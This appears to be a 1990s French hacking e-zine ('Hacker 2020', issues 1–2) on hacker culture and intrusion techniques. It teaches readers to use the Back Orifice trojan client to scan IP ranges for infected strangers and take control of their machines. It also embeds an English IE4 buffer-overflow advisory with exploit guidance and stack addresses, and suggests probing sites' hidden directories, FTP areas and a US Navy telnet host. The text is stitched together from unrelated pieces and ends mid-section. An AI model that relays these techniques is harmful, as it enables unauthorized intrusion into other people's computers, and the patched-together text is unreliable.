Hack - Apprendre Le Hacking - 2020 Hackers
Hack - Apprendre Le Hacking - 2020 Hackers
Hack - Apprendre Le Hacking - 2020 Hackers
htm
Avertissement: toutes les informations fournies sur cet E-mag sont à titres purement éducatif.
Il vous est déconseillé de les utiliser sous peine d'amendes et poursuites judiciaires. Tous ce que
vous ferez ne saurait m'en inquiéter et m'en rendre comme responsable! La libre diffusion de cet
E-mag est autorisée à condition qu'elle soit dans un but informatif.
Le hacking est un phénomène qui touche de plus en plus de gens partout dans le monde! De plus en plus de
gens sont intéressés par cet mentalité qu'est celle du hacking... Nombre de personnes rêveraient de devenir
hacker. Et nombre de personnes se font une muvaise image du hacker en général. Car en effet il faut différencier
les types de pirates: Il y a:
· Les crashers: les crashers sont de dangeraux pirates qui détruisent tout pour le plaisir... cette mentalité est peut-
être l'une des moins répandues, car il faut savoir que les crashers sont très souvent haïs par le milieu du piratage.
A éviter donc.
· Les crackers: ils sont là pour cracker les programmes (ex: enlever le passworrd d'un file en le désassemblant
pour le diffuser ensuite sur internet). Les crackers ne sont pas fondamentalement dangereux. les très bons
crackers sont de véritables génies (il faut le dire) de la programmation. sans eux le réseau internet ne serait pas ce
qu'il est maintenant.
· Les lamers: en général ce sont les débutants dans le milieu du piratage... Ce sont souvent les "bizus" des élites!
Si vous débutez dans le milieu du H/P/C/V (hacking, cracking, phreaking etc...)essayez d'acquérir un certain
niveau de connaissance seul... en général les élites du dessus n'hésiteront pas à vous filer un ou deux trojans entre
quelques programmes. sauf si c'est quelqu'un que vous connaissez bien ou qui est votre ami.
· Les phreakers: le phraker est un pirate du réseau téléphonique en général... Mais il peut aussi pirater sa borne
EDF, graver des cd crackés etc... En général les phreakers se mêlent rarement au milieu du hacking. Tout ce qui
concerne le piratage de la ligne téléphonique du voisin pour se faire des minutes gratos ça les concerne!
· Les hackers: ce sont les pirates du net... Les meilleurs du hacking sont quasiment inconnus. Jusqu'au jour ou ils
pratent le Pentagone et qu'ils se font choper! La moyenne d'âge des hackers tourne entre 15 et 25 ans. Ils piratent
n'importe quoi. Par simple défi. Par pur plaisir. Les hackers s'attaquent rarement aux autres internautes! Mais
méfiez vous! Les hackers sont un peu crashers dans leur côté obscur.
Donc c'est surtout des hackers dont nous parlerons. Il faut savoir que les médias donnent une mauvaise image
du hacking, en faisant des articles diffamateurs ou en médiatisant le mauvais côté du hacking. Les médias
profitent de l'ignorance que les gens ont sur le piratage pour détruire la VERITABLE image du hacker! Sans les
hackers allez savoir si votre réseau internet existerait! Internet était au départ un réseau militaire. Mais les
universitaires et les scientifiques en ont fait le réseau internet. Et pas les médias (qui font jamais bien leur boulot
d'ailleurs :-))! Des universitaires! Donc tout ça pour vous dire que ce que les médias pourront vous raconter sur le
piratage informatique ne sera pas toujours juste. Mais si on a tendance a penser que un hacker est un dangereux
criminel, celui-ci aura tendance a se criminaliser; c'est psychologique. Mais les hackers sont loins d'êtres tous
dangereux... certains hackent même pour prouver que aucun système de sécurité ou sytèmes d'exploitation n'est
infaillible. ce qui nous permet de démontrer que Windows est une vrai "passoire" (pardonnez l'expression). Ainsi
on pourrait s'imaginer que certains trous de sécurité sont volontaires. D'ailleurs Microsoft a fait en sorte que
Money99 (qui n'est pas encore officiellement sorti) ne marche que si Microsoft Intenet Explorer 4 est installé!
Les accusations qui se font au sujet de Bill Gates, comme quoi son but serait de détenir tout le marché de
l'informatique, peuvent être considérées comme vrai! Pas à 100%. Mais il faut avouer que Microsoft est ce qu'est
Coca-Cola par rapport à la grenadine. Les statistiques démontrent que Microsoft détient environ + de 90% du
marché informatique, mais... pouvons nous incriminer Bill Gates? car si vous êtes pas content y'a toujours Linux
ou Unix! Et vous devez aussi avoir Netscape Navigator sur votre bécane, non? Bref pour clore cette introduction
je tiens quand même à vous dire que, bien que les médias arrangent les faits à leur manière, ceux-ci ne sont
jamais forcément erronés.
Ben... comment vous expliquer ça. Un hacker (je vais faire quand même un petit récapitulatif de ce qui a été
vu plus haut), c'est un pirate qui essaie de découvrir les failles de chaque système, c'est quelqu'un qui créé des
programmes de piratage etc..., par simple défi. Pas pour le fric (pas toujours: la tune tombe pas des arbres).
Bref... Les hackers forment aussi une "communauté" ou l'on se doit d'être solidaire... Les hackers se tapent
rarement dessus. Mais le hacking c'est aussi une mantalité. Une volonté. On ne se lance pas dans le hacking pour
déconner. Non... En général on va jusqu'au bout. Rares sont ceux qui ont abandonné en cours de route. Il y a
tellement de choses à découvrir dans le monde du piratage que cela revient à en découvrir un nouveau monde:
l'autre côté de l'utilisation d'un ordinateur. Pas forcément le côté obscur de l'utilisation d'un ordinateur mais
surtout les possibilités que ce côté peut nous offrir (si vous voyez ce que je veux dire!). Il faut savoir qu'il y a
différents aspects dans le hacking! On peut facilement se les imaginer: études des différents systèmes de sécurité,
création de programmes, piratage du pc d'un pauvre internaute etc... en général les très bons hackers sont
appelés: Elite et sont quasiment inconnus! Si jamais vous en rencontrez un ou que vous avez judicieusement su
en reconnaitre un, eh ben gardez ça pour vous. Rien de pire que de s'attirer des emmerdes, de toute la
communauté hacker, qu'en dénoncant " un de l'élite". Mais un hacker c'est aussi une personne comme vous et
moi! On ne doit pas s'imaginer que parce que une personne pirate elle se différencie forcément de la société dans
laquelle vous vivez. Elle est contribuable, regarde la télé (Eh oui! Ca lui arrive!), dort dans un lit, etc... mais un
hacker c'est aussi une personne aimable, courtoise et pas forcément belliqueuse! Loin de toutes les idées reçues
ce serait plutôt le contraire: tendance pacifique. Mais bon... Y'a des exceptions hein! Faudrait pas s'faire des
illusions! (on va finir par croire que je contredis ce que j'écris!)
Bon eh ben lui il m'a grave fait chier! Sauf que j'appris par la suite que son copain c'était J (secret aussi), un de
mes potes qui entre deux nukers lui avait filé un trojan! Alors... ce mec si vous le rencontrez et que vous
reconnaissez sa manière de faire, n'hésitez pas à lui "foutre un pain sur la gueule"! J'avais manqué de tact ce jour
là mais bon... De plus j'avais son tel. Il a passé un sale quart d'heure! Il a plus recommence. Mais si je vous
raconte cette anectdote c'est pas pour rien. C'est pour vous démontrer que des gros cons (pardonnez l'injure mais
ça défoule) orgueuilleux y'en a
partout! Revenons à nos moutons... J'ai souvent vu marqué qu'un vrai hacker se devait d'avoir Linux (dans
d'autres E-mags Unix), si il voulait devenir un VRAI hacker... Mais pour en revenir à notre premier E-mag (c.f.
début chapitre), celui-ci disait: "vous devez aoir Linux sinon c'est inutile d'essayer d'être hacker. Là j'ai vomi :-).
Comment peut-on dire des choses aussi absurdes! On peut très bien être hacker et ne pas être sous Linux ou
Unix! Pourquoi pas sous Windows95 ou Windows98! Moi je suis sous Windows95 et j'en suis fier! Bien que
Linux n'est absolement pas négligeable pour hacker! Mais de là à dire que c'est l'outil qu'on se DOIT d'avoir, là
non!!! Rien de plus faux! je le dis, je le répète! Et je continuerais de le répéter! J'avais aussi remarqué que les
hackers (les bons et les débutants), mettaient souvent des petits signes distinctifs, dans certains mots, tel que:
Micro$oft ou transformait des mots pour en faire des: zindaube, winfuke, microdobe, etc... Nous sommes loin
des critères débiles du E en 3 et du O en 0! Non... Là ça a surout un caractère humouristique qui tient à
démontrer que l'on se moque bien de windows et de ses trous de sécurité!
donc pour se démarquer de tous ces débiles qui prenne ça à la légère! Je vais aborder un autre type de personnes
qui existent: les lamers (c.f.: chapitre1). Les lamers sont loin d'être des gros cons... Au contraire. ce sont en
général des personnes qui débutent dans le milieu! Il n'est pas exclu de les aider! Il sauront vous le rendre tôt ou
tard! Les lamers disent qu'ils aimeraient être hacker et demanderont au premier venu de leur enseigner pour peu
que celui-ci s'y connaisse un peu. c'est pourquoi, vous recevrez souvent des messages de lamers qui vous
demanderont de leur apprendre le hacking. Evitez de les envoyer balader! Il vous on rien fait ;-). Vous aussi vous
avez été lamers au tout début de votre période! Vous aussi vous avez demandé à des gens de vous apprendre!
Alors??? Bref... Essayez de vous démarquer des blaireaux sans pour autant ne pas vous amuser à glisser un petit
Zindaube dans la conversation :-)!!! (Non. en fait je dis ça car j'aimais pas trop qu'on m'envoie promener au
début de mon apprentissage!)
(ici il y a eut un ping sur le port 31337, et l'IP de la personne est: 208.216.166.72 qui a pingé à 22:28:30 au 05/11/98)
Donc voilà comment se présente votre fenêtre NOBO qui s'ouvrira automatiquement au premier ping. En
général 1/3 des personnes qui utilise BO sont elles même infectées! Maintenant il vous gaudra savoir ou
télécharger BO120.zip. L'url du site de cDc (où est en téléchargement BO) est: http://www.cultdeadcow.com/
tools/bo.html. Mais revenons à nos moyens de détection de BO!
(La suite de ce texte est vaguement inspiré du Pirates MAG' N°2). Bon ce qu'il faut savoir: (et ça c'est moé qui le
dit). Il existe une commande netstat que l'on peut faire sous dos. Cette commande permet de surveiller les ports
actifs de votre bécane! Vous allez voir le rapport entre ça et BO! Je m'explique: on peut trouver des quantités de
programmes censés détecter et détruire Back Orifice. Mais la pluspart du temps, ces logiciels ne peuvent que
détecter la version de base avec sa configuration par défaut (port 31337, pas de mot de passe), ou encore que
dalle, ou encore vous filer BOSERVE comme BOSNIFFER. ceci est insuffisant et dangereux: on peut se croire
faussement protégé. N'espérez pas détecter la présence d'un serveur (=trojan) sur votre pc en utilisant seulement
le client, car, là encore, il faut connaitre le numéro de port par lequel le serveur communique avec le client
(programme qui permet de pénétrer votr pc). Il faut savoir que BO peut communiquer avec le client sur tous les
ports possibles. De ce fait, une recherche exhaustive va prendre environ une dizaine de minutes. Ce laps de temps
est largement suffisant pour qu'un pirate fasse ce qu'il veut de la machine cible. des anti-virus, comme Norton,
déclarent dans leur dernière version de pouvoir détecter BO avant même son installation... Oui, mais il ne leur est
pas possible de détecter toutes les variantes, pour la bonne et simple raison qu'il en apparaît sans cesse. Et )
propos de virus, rien n'empêche de compbner la posssibilité d'autoreplication d'un virus avec BO (le truc qui fait
mal aux dents!). En fait la façon la plus simple de surveiller l'état des connexions Réseau d'un pc est la
commande NETSTAT. Elle permettra de savoir tout ce qui entre ou sort de la machine sur laquelle elle est
lancée. Supposons que nous ayons affaire à un BO de base avec ses options par défaut (port 31337). si vous tapez
dans ue fenêtre Dos: netstat -an I find "UDP", vous obtiendrez: UDP 0.0.0.0:31337, ceci indique qu'une
application est en train découter tout ce qui arrive sur le port 31337, on peut donc avoir un gros soupçon!!!
Eventuellement, le propriétaire du pc pourra détecter une activité suspecte (BO communiquant avec le client).
Mais attention: le pirate peut aussi très bien remplacer NETSTAT.exe par une version qui ne le trahira point ou
même plus vicieux: incorporer le serveur (boserve) à NETSTAT! Ah oui, un dernier détail pour achever de vous
faire froid dans le dos: rien n'empêche que plusieurs versions de BO tournent en même temps sur votre machine.
Et puisqu'il ne serait pas juste que seules les victimes potentielles aient peur: sachez chers utilisateurs de BO, que
toutes les données récupérées par le client sont envoyées vers l'adresse IP 209.25.3.113: vous êtes donc
surveillés. de plus l'utilisation de BO est formellement interdite par la loi et saurait être passible de poursuites
judiciaires. Vous voilà prévenus.
Bon maintenant parlons de Back Orifice et de son utilisation. Si vous cherchez bien sur le net vous trouverez
facilement des: "comment télécharger BO, télécharger BO ici et maintenant, la vraie version de BO en
téléchargement, etc...". Mais méfiez vous des contrefaçons! Qu'est ce qui vous garantit que votre cher BO en
téléchargement n'est pas un virus ou boserve (qui est le trojan)? Ben va falloir apprendre à distinguer les vraies
versions des fausses! Si vous télécharger BO sur le net il faut savoir que le zip s'appelle: bo120.zip, sinon vous
virez! BO est trop dangereux pour qu'on prenne ça à la légère! Le zip de Back Orifice fait 278 ko. Et voilà
comment se présente la fenêtre de décompression de BO:
Alors ici on remarque plusieurs sortes de programmes: bogui, boserve, boclient etc... Tout vous sera expliqué
dans la notice du nom de "bo.txt". IL NE FAUT SURTOUT PAS EXECUTER BOSERVE (je me répète mais on
est jamais trop prudent!). Si vous ne le savez toujours pas: boserve est le trojan, plus couramment sous le nom
qu'on donne au terme général de "trojan", c'est le serveur. Bogui et boclient sont les programmes qui
communiquent avec le serveur, appelés plus couramment clients. les autres programmes sont moins importants.
Si vous connaissez une personne infectée par le serveur alors éxécutez bogui et rentrer son IP, puis faites: ping
host. Si la personne répond à l'autre bout un message : "!PONG!"+ le nom de l'utilisateur s'affichera sur votre
fenêtre bogui. Mais comment savoir si c'est bien bogui que vous regardez? Simple bogui resssemble à ceci une
fois éxécuté:
Donc si c'est ce que vous voyez, plus de dute, vous avez bien la bonne version! Je vous passe les détails
d'utilisation de BO car tout vous sera expliqué dans la doc. Mais sachez que vous pouvez scanner tous les gens
dont l'IP commence par un certain nombre (là c'est confus et je m'explique). Imaginez que vous ayez personne à
pinger. Le meilleur moyen de ping et d'avoir plus de chnaces de tomber sur des personnes infectées et de rentrer
dans "target:host port cet IP (par exemple): 193.193.*.* bogui s'amusera alors à scanner tous les IP commençant
par: 193.193 ce qui vous donne une grande marge. Mais le scanne sera long il sera plus utile de faire:
193.193.193.*, vous avez moins de chances de trouver d'infectés mais le scann se fera plus vite. Bogui scane le
port par défaut (c'est à dire 31337). Seules les personnes infectées sur ce port répondront par PONG. Mais si
vous scannez toute une série d'IP en faisant *.* et que dans cette série se trouve un IP d'utilisateur qui possède
NOBO, alors la personne usant de NOBO aura votre IP et vous verrez un message s'afficher dans la partie d'écrit.
Il faut savor que de plus en plus de gens ont NOBO; ce qui n'a pas pour but de faciliter l'utilisation de BO.
========
Scenario
========
The Microsoft Internet Explorer 4.0 Suite, including all programs supplied
with it that read and/or process HTML from either local machines, intranet
machines, or remote internet machines are subject to a buffer overflow in the
HTML decoding process. The buffer overflow can cause the application to page
fault, or in the worst case, execute arbitrary precompiled native code.
=======
Example
=======
1. Copy the supplied HTML file(s) into a location that is accessible via the
target application.
2. Point to it. Look at it.
3. Click on the link. (or let someone click it for you)
4. Become aware of what happens to your machine.
5. Freak out and beg Microsoft to make the bad man stop.
=================
Technical Details
=================
The problem here lies in the deciphering of the URL line format itself. The
base HTML library that is used by the Internet Explorer 4.0 Suite and the
following programs are vulnerable:
This problem, because it stems from a programming flaw in the HTML decoding
system, is unaffected by the Explorer "Security Zones" feature. In other
words, if you turn on the highest security level for the zone from where the
exploit HTML is being viewed, you are still vulnerable.
For example, to read something out of the IE4.0 Tour (stored in a DLL) try
the following URL: res://ie4tour.dll/page1-6.htm
The function that goes through the filename and validates it is flawed on
Windows 95. Without checking the length, the filename is uppercased,
concatenated with '.DLL' if it isn't there already, and in the process,
copied into a fixed size buffer.
========
Solution
========
Currently, there is no solution available for this flaw. You can't set any
Internet Explorer options to avoid it, and you are not protected by any
level of zone security. Simply don't surf the web, read email or view
net news using Internet Explorer 4.0 until Microsoft puts up a hotfix.
============
Exploit Code
============
Here we go...
When constructing the exploit we want to try something useful.
Lets's start with appending text of your choice to AUTOEXEC.BAT...
(note that running native code lets you do pretty much anything you want)
Note that the location of the exploit string in the stack is very important
and it varies from target application to target application.
App Loc
Internet Explorer 0x0057C144
Windows Explorer 0x0088A0F4
...
Yeah, I know that those locations have null bytes in them and you can't
put those (or lowercase letters, or CR/LF or 0x07 or anything like that)
in the exploit string... but we'll let microsoft fix that for us. Step thru
the process to see IE add that extra null character for you. Will they
ever cease to amaze...
Put together what you wanna do, tack on the necessary jump addresses and
all that. That's it.
*************************************************************************
* MAKE SURE YOU RUN THIS EXPLOIT WITH __INTERNET__ EXPLORER, _NOT_ *
* REGULAR OL' WINDOWS EXPLORER. (put it on a website and download it or *
* click on the IE desktop icon (run iexplore.exe) and type in the name *
* of the file into the URL line) IT WON'T WORK OTHERWISE!!!! *
* (though it could be made to do so) *
*************************************************************************
----====/ SNIP
/====---- SNIP
A haiku:
Microsoft IE
Is there no security?
Not if you ask me.
[email protected] (11/1/97)
- Vous faîtes des pages HTML pour votre site internet? ce script est à installer au début:
<BODY>
<script language='JavaScript'>
function closeit()
{
if (navigator.appName == "Microsoft Internet Explorer")
self.close()
}
</script>
Tout navigateur de type Microdoft Internet Explorer qui digère le javascript sera automatiquement fermé.
-(source: Pirates Mag) J'utilise le programme MS WORKS 1.05 en version française pour Dos.
Malheureusement, suite à plusieurs plantages disques dus aux applications utilisées, j'ai du réinstaller à chaque
fois ce programme. Aujourd'hui le compteur est à zéro et je ne peuc plus rien faire. Pire, Microsoft ne peut (ou
ne veut) rien faire pour moi. Avez vous une solution? Anonyme.
La position de Microsoft est déplorable. Et comme nous n'avons pas pu non plus obtenir plus d'informations de la
part du support technique, nous vous proposons notre propre solution que nous avons trouvée en éxaminant votre
disquette. Sous Dos, copiez l'intégralité de la disquette dans le répertoire de votre choix avec la commande
XCOPY A: nom_répertoire (répondre par oui aux questions posées). Allez dans ce répertoire en tapant
nom_répertoire Tapez maintenant les commandes suivantes:
MD ^~
ATTRIB +R +H ^~
MD _~
ATTRIB + R+H _~
Works peut maintenant fonctionner à partir de votre disque dur! Si vous voulez l'effacer, tapez:
ATTRIB -R -H ^~
RD ^~
ATTRIB -R -H _~
RD _~
- Vous naviguez sur le net, quand soudain vous voyez un site dont l'url est: (je dis n'importe quoi mais c'est
pour un exemple) http://www.multimania.com/08/tioto/info/user/index.htm. A première vue cela ressemble à un
url comme un autre un peu long, mais des url long y'en a partout, me direz-vous! Eh ben, petite astuce si le mec
se débrouille pas trop bien pour faire ses pages: vous remettez l'url en retirant à chaque fois un segment ce qui
donnera http://www.multimania.com/08/tioto/info/user/ et vous tapez: enter... soit le navigateur affiche: erreur ,
soit il affiche accès interdit, soit il vous met à une page html, ou bien encore (et c'est là que ça nous intéresse) il
vous mets des répertoires. Des répertoires? Oui... En faisant cette manip vous avez environ 1/3 ou un 1/4 des
sites qui vous mettront tout ce qui est passé en ftp. C'est à dire même des images non visibles sur le site, ou des
liens que l'on ne voit pas sur le site, etc... Imaginez que vous tombez sur un site cochon qui n'en a pas l'air! Hein?
Mais si la manip marche pas continuez à retirer des segments jusqu'à arriver au serveur!
- Accéder au compte ftp d'un site: prenons l'exemple d'un site quelconque! Je prends: http://www.hackers.com
qui est un site vachement merdique. En allant sur son compte ftp par cet url: ftp://www.hacker.com on a: Current
directory is /
alors on évolue en cliquant sur pub et on trouve des trucs de hack! Ce que le site lui même ne laisse pas paraître!
cela donne:
Current directory is /pub
et si on va dans msdos on a:
Current directory is /pub/msdos
Voyez donc l'utilisation que vous pouvez faire de cet astuce! Intéressant non?
- Accéder aux statistiques d'un site: il y a très peu de sites ou vous pourrez accéder aux statistiques. Tapez (c'est
un exemple): http://www.xxxxxx.com/stats Vous atterrirez sur une page avec les statistiques du site qui se
présente comme ça:
Index of /stats
Authorization Required
This server could not verify that you are authorized to access the document you requested. Either
you supplied the wrong credentials (e.g., bad password), or your browser doesn't understand how
to supply the credentials required.
C'est tout ce que je peux vous dire sur les statistiques d'un site.
- Le registre d'adresses contient 16 bits pour coder 64 ko, soit 65 536 (2^20 (2 exposant 20)
= 1 048 567). Mais les composants ne permettaient pas d'utiliser complètement deux registres d'adresse. Du
coup, voilà comment votre ordinateur calcule une adresse en mémoire. Il possède quand même deux registres
d'adresses de 16 bits. L'un correspond au segment, l'autre à l'offset. Une adresse est un couple segment/offset. Le
calcul de l'adresse se fait en opérant un décalage de 4 bits vers la gauche su registre de segment puis d'une
addition binaire avec le registre offset. Le résultat est sur 20 bits et permet d'adresser 1Mo. Cette technique, si
elle aboutit au résultat voulue, est d'un grand gâchis. Beaucoup d'adresses se recouvrent, elles sont accessibles
par plusieurs couples de segment/offset. Ainsi les valeurs (notation segment:offset) 2 :0, 1: 16, 0:32 aboutissent
toutes à la case d'adresse 32.
----- 6°/ Articles divers sur le hacking, les mesures prises contres, les groupes anti-hackers, etc...
(source de différents journaux ) -----
1) Adaptec a envoyé un communiqué de presse correctif concernant l'UDF Reader: impossible de lire des CD-
RW à la norme UDF avec de simples lecteurs multisessions, il faut bien un leceur compatible CD-RW (ou
Multiread). Par contre les CD-R calssiques sur tous les lecteurs CD multisessions, qu'ils aient été écrits en UDF
(packet writing) ou avec des logiciels de gravure classiques. Et dans les faits, il y a peu d'intérêt à utiliser l'UDF
sur un CD-R normal puisque la technique bouffe près de 200 Mo, le seul avantage étant de sauver sur le CD
comme n'importe quelle unité de disque.
2) D'après le BSA, la France est le pays qui connaît le taux de piratage le plus élevé d'Europe. Il serait parvenu à
44 % en 1996. Le BSA ayant un grand coeur, c'est bien connu, souhaiterait faire baisser ce pourcentage à un
niveau considérable, soit passer sous le seuil des 27 % d'ici l'an 2001. Toujours d'aprrès la boule de cristal du
BSA, cette baisse permettrait de créer 260 000 nouveaux emplois. Mais ont-ils compté les pirates qui perdraient
leur boulot?
3) 2 jeunes hackers anglais âgés de 17 et 18 ans, membres de milw0rm, ont pu accéder illégalement au système
informatique du Barc, le centre de recherche de Bhabha responsable des essais nucléaires en Inde, au mois de
mai 98 dernier. Les pirates ont modifié la page d'accueuil du site informatique du centre de recherche et auraient
réussi à voler les courriers électroniques des savants, avant et après les essais. Désamorcer des bombes par des
mail-bombers, fallait y penser!
4) Le président du commissariat indien à l'énergie atomique (AEC) R.Chidambaram, a nié que son pays ait été
victime d'un acte de "piraterie informatique" fin mai, à l'encontre du centre de recherche Bhabha (Barc)
responsable des essais nuvléaires indiens qui ont bien failli déclencher une guerre en Asie du Sud-Est. "Non c'est
absurde. Ils n'ont rien obtenu!", a-t-il déclaré. Absurde? Pour nous l'absurde, c'est plutôt un mec qui dépense des
millions de dollars pour faire péter des bombes au lieu de nourrir un peuple qui crève de faim.
5) Anastasia, Barbara, Marilyn, Cindy, tant de rencontres sur le net! Mais attention, la rencontre réelle est
parfois décevante. C'est l'histoire d'un Hollandais qui descendait d'un avion dans le New Hampshire avec un
poireau à la main (vous avez mieux pour vous reconnaître?). Il devait rencontrer un jeune garçon avec lequel il
avait conversé sur le net. Comme cadeau de bienvenue, il reçut des bracelets aux poignets. Le jeune ami était en
réalité un agent du FBI (Mulder est dans le coup!).
6) La police égyptienne a arrêté deux étudiants hackers, pour vol et utilisation frauduleuse de carte bancaire. Les
criminels ont eu toutefois le temps de détourner 147 000 $, soit plus de 900 000 frs, au cours des sept derniers
mois précédant leur arrestation. Les autorités égyptiennes assurent qu'il s'agit du premier crime d'un ressortissant
de leur pays sur l'internety. Le plus surprenant est qu'ils ont dépensé l'intégralité de ce montant pour des photos et
films pornographiques payant sur le Web! A croire qu'en Egypte, les filles, elles sont moches...
7) Un collectif de pirates, le Lopht, a affirmé au Sénat américain en juin 1998 leur capacité à "planter" en une
demi-heure la dorsale de l'internet US. Avec leur ego surdimmensionné, tous ces pirates vont bien finir par
motiver les politiques à une sécurisation extrême du net. Et là finie la liberté!
8) Un jeune pirate informatique de 28 ans, Aaron Blosser a détourné plus de 2 500 ordinateurs de la compagnie
de téléphone américaine U.S. west (Phoenix, USA) pour tenter de résoudre une énigme mathématique vieille de
350 ans. Il aurait également obtenu les mots de passe de 15 000 postes de travail de la compagnie, qu'il aurait
publiés sur l'internet. L'affaire a été découverte lorsqu'il est apparu que les ordinateurs de l'entreprise U.S. West
mettaient 5 minutes à retrouver des numéros de téléphone, au lieu de 5 secondes en temps normal. Il va s'amuser
comme un fous le gars avec son numéro de matricule!
9) Le site du journal le New York Times s'est fait piraté, début seprembre, par un adorateur de Kevin Mitnick. Le
hacker a modifié la première page du site en demandant le libération du "condor". Pour lui, il est grand temps
d'ouvrir la cage à l'oiseau Mitnick!
Voilà qui va clore cet E-mag en espérant qu'il vous a plu! Si vous avez des commentaires à faire ou des
suggestions, écrivez à [email protected].
Clad Strife
HACKER 2020
ISSUE N°2
<Disclaimer>
1- N.D.A.
2- Introduction
3- Les trucs utiles
4- Programmation en C (petit cours tiré de Back-Side)
5- Piratage d'un site
DISCLAIMER: Toutes les informations contenues dans ce fanzine n'y sont qu'à titre purement informatif! Il vous
est déconseillé de les appliquer, sous risques d'amendes et de poursuites judiciaires. Moi ou mon serveur
(actuellement Multimania), ne seraient être tenus responsables de ce que vous ferez de ces informations!
<<<1- N.D.A.>>>
Pour ceux qui ont déjà lu mon premier fanzine, vous pourrez remarquer un changement de style, l'apparition de
liens etc... Vous pourrez me dire que je peux toujours mettre des liens dans mon premier fanzine. Mais non... Je
n'ai pas trop envie d'y faire des retouches (nan, nan! Ce n'est pas de la fénéantise!). Sinon, je conseille aux autres
d'aller le lire!
Je tiens quand même à signaler que je fais pas partie de l'élite (c.f. issue 1 ), et que j'exposerais ici: d'une part:
mes connaissances dans ce domaine, d'autre part les connaisssances des autres. Ca veut dire quoi les
connaissances des autres!? Ca vaut tout simplement dire que certaines de ces infos sont tous simplements, tirés
d'autres fanzines, E-mags etc... Mais il n'y a que comme ça qu'on progresse, non? (comment ça "NON"?).
<<<2- Introduction>>>
Je ne vais pas réexpliquer ce que c'est qu'un hacker, un cracker etc... Car vous pouvez le savoir en lisant le
premier N° de Hacker 2020. Mais je vais éclairer votre lanterne en vous expliquant, quels conséquences peut avoir
le hacking sur le monde informatique, et quels but ont les hackers!
Prenons un exemple: vous avez piraté un site quelconque, pris quelques infos modifié une page HTML en
mettant des images pornos à la place, etc... En général le résultat ne se fait pas attendre: mise à jour du site,
modifications et autres... Mais le créateur de ce site sait très bien par ou vous êtes entré si il fait une recherche plus
appronfondie! Vous pouvez être certain que si tel est le cas, au bout de deux jours, le chemin que vous avez
emprunté pour rentrer sur le site sera inaccessible. Mais si vous hacker un site plus important, tels les providers ou
les sites de l'état... Il y aura un soulèvement au niveax des Webmasters. Ils trouveront la faille. De plus vous
risquez d'être tracé! donc selon la gravité de la faute vous pourrez rester peinard sur votre chaise, ou vous
retrouvez dans la même cellule que K.Mitnick (façon de parler!). Maintenant à la création d'un nouveau virus, ou
d'un nouveau trojan (comme cela a été le cas pour Back Orifice!), celui-ci sera mis a votre disposition sur le net!
Au départ aucun anti-virus ne pourra le détecter! Ensuite des ant-virus et autres no-trojans auronts pour but de
l'arrêter, enfin, si il est dangereux, ils sera déclaré comme illicite... Petit à petit les gens seront obligés de
s'immuniser, encore et toujours contre une menace invisible, donc incontrôlable... certains sont de vrais paranos du
net! Je ne dis pas qu'il ne faut pas s'immuniser! Mais éviter de tomber dans une paranoïa! Bien que ces protections
soit néfastes pour les hackers, elles sont bien entendu bénéfiques pour les entreprises et particuliers... La création
de virus et de trojans créé une immunité générale! Si le monde d'internet reste passif et ignorant à cet menace, le
jour ou y'aura un gros trojan, vous s'rez pas dans la merde! Vous êtes en quelques sorte protégé pour l'avenir!
Comme une maladie dont on trouve par la suite le remède! Que penser donc...?
Quel but ont les hackers (en général!)... Il faut d'abord savoir que certains se prétendent hackers, car ils savent
juste nuker, d'autres se disent hacker alors que ils ne sont que des crashers, etc... Le hacker pour une grande partie
des hackers, hacke surtout par simple plaisir, et par renfrognement à se trouver face à une protection qui
semblerait infranchissable. Par défi aussi. Si on regroupe les 3 ensembles on pourrait dire que c'est le plaisir
d'affronter un défi, qui est celui de passer une protection... Les hackers trouvent ça assez grisant! Ils tiennent aussi
à prouver par leurs explois, que rien n'est infaillible! Qu'à chaque nouveau programme, il y a une faille! Que
chaque nouveau système d'exploitation a une faille... Que TOUT a une faille (rien n'est infaillible, si vous
préférez). Certains (minorité) essayeront de faire progresser les débutants dans ce domaine (en écrivant des E-
mags, par l'envoi de mails, par icq etc...). Certains essayent aussi de casser les préjugés que certains hackers ont
sur d'autres! Je prends l'exemple d'un mec du nom de Mx (raccourci pour garder en toute intégralité son
anonymat). Je l'ai intercepté par icq, en ayant son UIN grâce à un de mes contacts (il est important d'avoir des
contacts). Donc j'ai fais 3 requêtes de chat, ensuite je suis venu il m'a presque "ejecté"... J'ai essayé de lui parler,
mais c'est une vraie tête d'âne! J'ai eut le droit a tous les compliments: lamer, débutant, t'es louche, je te fais pas
confiance, qui tu es pour m'aborder comme ça??? Ce mec là devait avoir des préjugés du tonnerre de dieu! J'ai
bien essayé de lui montrer qu'il ne devait pas se méfier de tout le monde, mais j'en suis toujours au même stade
avec lui... Bon, d'accord ce n'est qu'un exemple et y'en a d'autres. Ah oui! Dernier point pour clore cette
introduction: un hacker a pour habitude de ne pas faire chier les gens, sauf nécessité, avec ses techniques de hack
et ses programmes! Donc si un jour un mec se ramène vous menaçant de tout et n'importe quoi, et en prétendant
être hacker, ne vous y trompez pas: ce n'est point un hacker, mais un emmerdeur! pigé?
On peut faire ça avec l'adresse IP d'un site? Je réponds oui! La commande est la même mais à la place du www.
nomdusite.com vous mettez son adresse IP, démonstration en images sur le site de zymark:
Là, l'accès a été réussi, mais c'est un accès autorisé: il est prévus à cet effet! Je vous expliquerais après comment
faire.
- L'adresse de l'U.S Navy par telnet: pirater la marine américaine par telnet! AAARRRRFFF! Ca vous tente?
Vous avez telnet? Alors voici son adresse: navobs1.usnogps.navy.mil
Faites gaffe! Un de mes potes a essayé avec la NASA! Ca a pas tardé! Vous êtes tracés! Mon pauvre copain a reçu
un mail de menace comme quoi il ne devait plus se reconnecter à la NASA par telnet!
- Tracer un site ou un particulier: Tracer un site ou un particulier, est une chose assez utile parfois, il faut
l'avouer! Je vous expliquerais après dans, piratage d'un site comment l'utiliser à son maximum de possibilités!
'abord pour tracer il faut aller sous DOS, puis écrire (les ">" ne sont pas à écrire!):
> tracert 123.123.123.123
ENTREE
123.123.123.123 n'est qu'un exemple: vous pouvez savoir comment avoir l'IP d'un particulier dans l'issue 1 de
HACKER2020, et vous aurez le traçage de sa bécane, par ou passe le signal!
Et pour les sites? Prenons l'exemple de Mygale:
faites (toujours sous Dos et les ">" ne devant pas être écrit):
> tracert www.mygale.org
ENTREE
Et voilà le résultat en image:
La première ligne (avant la liste) donne, le nom du serveur et son IP entre crochets (utile pour avoir l'IP du
serveur).
La 1ere ligne de la liste, donne l'adresse IP d'ou part le signal, les autres lignes les rooteurs ou serveurs
intermédiaires, et la dernière ligne la cible atteinte, donc fin du traçage!
Pour obtenir d'autres utilisations du tracert faites (toujours sous Dos et les ">" ne devant pas être écrit):
